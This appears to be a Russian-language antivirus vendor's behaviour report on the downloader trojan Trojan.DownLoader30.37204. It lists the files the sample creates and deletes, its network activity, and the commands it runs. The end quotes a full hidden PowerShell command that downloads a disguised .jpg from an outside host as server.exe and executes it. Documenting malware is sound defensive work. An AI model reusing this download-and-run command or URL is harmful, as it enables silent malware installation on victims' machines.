Trojan.DownLoader30.37204

Техническая информация

Вредоносные функции

Загружает и запускает на исполнение

https://4.top4top.net/p_14070lemp1.jpg как %temp%\server.exe

Изменения в файловой системе

Создает следующие файлы

%TEMP%\_mei28042\vcruntime140.dll
%TEMP%\_mei28042\api-ms-win-core-timezone-l1-1-0.dll
%TEMP%\_mei28042\api-ms-win-core-util-l1-1-0.dll
%TEMP%\_mei28042\api-ms-win-crt-conio-l1-1-0.dll
%TEMP%\_mei28042\api-ms-win-crt-convert-l1-1-0.dll
%TEMP%\_mei28042\api-ms-win-crt-environment-l1-1-0.dll
%TEMP%\_mei28042\api-ms-win-crt-filesystem-l1-1-0.dll
%TEMP%\_mei28042\api-ms-win-crt-heap-l1-1-0.dll
%TEMP%\_mei28042\api-ms-win-crt-locale-l1-1-0.dll
%TEMP%\_mei28042\api-ms-win-crt-math-l1-1-0.dll
%TEMP%\_mei28042\api-ms-win-crt-process-l1-1-0.dll
%TEMP%\_mei28042\api-ms-win-crt-runtime-l1-1-0.dll
%TEMP%\_mei28042\api-ms-win-crt-string-l1-1-0.dll
%TEMP%\server.exe
%TEMP%\_mei28042\api-ms-win-crt-time-l1-1-0.dll
%TEMP%\_mei28042\api-ms-win-crt-utility-l1-1-0.dll
%TEMP%\_mei28042\libcrypto-1_1-x64.dll
%TEMP%\_mei28042\libssl-1_1-x64.dll
%TEMP%\_mei28042\pyexpat.pyd
%TEMP%\_mei28042\python37.dll
%TEMP%\_mei28042\select.pyd
%TEMP%\_mei28042\ucrtbase.dll
%TEMP%\_mei28042\unicodedata.pyd
%TEMP%\_mei28042\viditcemo.exe.manifest
%TEMP%\_mei28042\base_library.zip
%TEMP%\_mei28042\api-ms-win-core-sysinfo-l1-1-0.dll
%TEMP%\_mei28042\api-ms-win-crt-stdio-l1-1-0.dll
%TEMP%\_mei28042\api-ms-win-core-synch-l1-2-0.dll
%TEMP%\_mei28042\api-ms-win-core-file-l2-1-0.dll
%TEMP%\_mei28042\_bz2.pyd
%TEMP%\_mei28042\_hashlib.pyd
%TEMP%\_mei28042\_lzma.pyd
%TEMP%\_mei28042\_socket.pyd
%TEMP%\_mei28042\_ssl.pyd
%TEMP%\_mei28042\api-ms-win-core-console-l1-1-0.dll
%TEMP%\_mei28042\api-ms-win-core-datetime-l1-1-0.dll
%TEMP%\_mei28042\api-ms-win-core-debug-l1-1-0.dll
%TEMP%\_mei28042\api-ms-win-core-errorhandling-l1-1-0.dll
%TEMP%\_mei28042\api-ms-win-core-file-l1-1-0.dll
%TEMP%\_mei28042\api-ms-win-core-file-l1-2-0.dll
%TEMP%\_mei28042\api-ms-win-core-handle-l1-1-0.dll
%TEMP%\_mei28042\api-ms-win-core-string-l1-1-0.dll
%TEMP%\_mei28042\api-ms-win-core-heap-l1-1-0.dll
%TEMP%\_mei28042\api-ms-win-core-interlocked-l1-1-0.dll
%TEMP%\_mei28042\api-ms-win-core-libraryloader-l1-1-0.dll
%TEMP%\_mei28042\api-ms-win-core-localization-l1-2-0.dll
%TEMP%\_mei28042\api-ms-win-core-memory-l1-1-0.dll
%TEMP%\_mei28042\api-ms-win-core-namedpipe-l1-1-0.dll
%TEMP%\_mei28042\api-ms-win-core-processenvironment-l1-1-0.dll
%TEMP%\_mei28042\api-ms-win-core-processthreads-l1-1-0.dll
%TEMP%\_mei28042\api-ms-win-core-processthreads-l1-1-1.dll
%TEMP%\_mei28042\api-ms-win-core-profile-l1-1-0.dll
%TEMP%\_mei28042\api-ms-win-core-rtlsupport-l1-1-0.dll
%TEMP%\_mei28042\api-ms-win-core-synch-l1-1-0.dll
%TEMP%\hackk.jpg

Удаляет следующие файлы

%TEMP%\_mei28042\api-ms-win-core-console-l1-1-0.dll
%TEMP%\_mei28042\api-ms-win-crt-filesystem-l1-1-0.dll
%TEMP%\_mei28042\api-ms-win-crt-heap-l1-1-0.dll
%TEMP%\_mei28042\api-ms-win-crt-locale-l1-1-0.dll
%TEMP%\_mei28042\api-ms-win-crt-math-l1-1-0.dll
%TEMP%\_mei28042\api-ms-win-crt-process-l1-1-0.dll
%TEMP%\_mei28042\api-ms-win-crt-runtime-l1-1-0.dll
%TEMP%\_mei28042\api-ms-win-crt-stdio-l1-1-0.dll
%TEMP%\_mei28042\api-ms-win-crt-string-l1-1-0.dll
%TEMP%\_mei28042\api-ms-win-crt-time-l1-1-0.dll
%TEMP%\_mei28042\api-ms-win-crt-utility-l1-1-0.dll
%TEMP%\_mei28042\base_library.zip
%TEMP%\_mei28042\libcrypto-1_1-x64.dll
%TEMP%\_mei28042\libssl-1_1-x64.dll
%TEMP%\_mei28042\pyexpat.pyd
%TEMP%\_mei28042\python37.dll
%TEMP%\_mei28042\select.pyd
%TEMP%\_mei28042\ucrtbase.dll
%TEMP%\_mei28042\unicodedata.pyd
%TEMP%\_mei28042\vcruntime140.dll
%TEMP%\_mei28042\viditcemo.exe.manifest
%TEMP%\_mei28042\_bz2.pyd
%TEMP%\_mei28042\_hashlib.pyd
%TEMP%\_mei28042\_lzma.pyd
%TEMP%\_mei28042\api-ms-win-crt-environment-l1-1-0.dll
%TEMP%\_mei28042\_socket.pyd
%TEMP%\_mei28042\api-ms-win-crt-convert-l1-1-0.dll
%TEMP%\_mei28042\api-ms-win-core-util-l1-1-0.dll
%TEMP%\_mei28042\api-ms-win-core-datetime-l1-1-0.dll
%TEMP%\_mei28042\api-ms-win-core-debug-l1-1-0.dll
%TEMP%\_mei28042\api-ms-win-core-errorhandling-l1-1-0.dll
%TEMP%\_mei28042\api-ms-win-core-file-l1-1-0.dll
%TEMP%\_mei28042\api-ms-win-core-file-l1-2-0.dll
%TEMP%\_mei28042\api-ms-win-core-file-l2-1-0.dll
%TEMP%\_mei28042\api-ms-win-core-handle-l1-1-0.dll
%TEMP%\_mei28042\api-ms-win-core-heap-l1-1-0.dll
%TEMP%\_mei28042\api-ms-win-core-interlocked-l1-1-0.dll
%TEMP%\_mei28042\api-ms-win-core-libraryloader-l1-1-0.dll
%TEMP%\_mei28042\api-ms-win-core-localization-l1-2-0.dll
%TEMP%\_mei28042\api-ms-win-core-memory-l1-1-0.dll
%TEMP%\_mei28042\api-ms-win-core-namedpipe-l1-1-0.dll
%TEMP%\_mei28042\api-ms-win-core-processenvironment-l1-1-0.dll
%TEMP%\_mei28042\api-ms-win-core-processthreads-l1-1-0.dll
%TEMP%\_mei28042\api-ms-win-core-processthreads-l1-1-1.dll
%TEMP%\_mei28042\api-ms-win-core-profile-l1-1-0.dll
%TEMP%\_mei28042\api-ms-win-core-rtlsupport-l1-1-0.dll
%TEMP%\_mei28042\api-ms-win-core-string-l1-1-0.dll
%TEMP%\_mei28042\api-ms-win-core-synch-l1-1-0.dll
%TEMP%\_mei28042\api-ms-win-core-synch-l1-2-0.dll
%TEMP%\_mei28042\api-ms-win-core-sysinfo-l1-1-0.dll
%TEMP%\_mei28042\api-ms-win-core-timezone-l1-1-0.dll
%TEMP%\_mei28042\api-ms-win-crt-conio-l1-1-0.dll
%TEMP%\_mei28042\_ssl.pyd

Сетевая активность

TCP

'4.###4top.net':443

UDP

DNS ASK 4.###4top.net

Другое

Создает и запускает на исполнение

'%TEMP%\server.exe'

Запускает на исполнение

'<SYSTEM32>\cmd.exe' /c start cmd.exe /c powershell.exe -windowstyle hidden (New-Object System.Net.WebClient).DownloadFile('https://4.top4top.net/p_14070lemp1.jpg','%temp%\server.exe');Start-Process '%temp%\server....
'<SYSTEM32>\cmd.exe' /c powershell.exe -windowstyle hidden (New-Object System.Net.WebClient).DownloadFile('https://4.top4top.net/p_14070lemp1.jpg','%TEMP%\server.exe');Start-Process '%TEMP%\server.exe'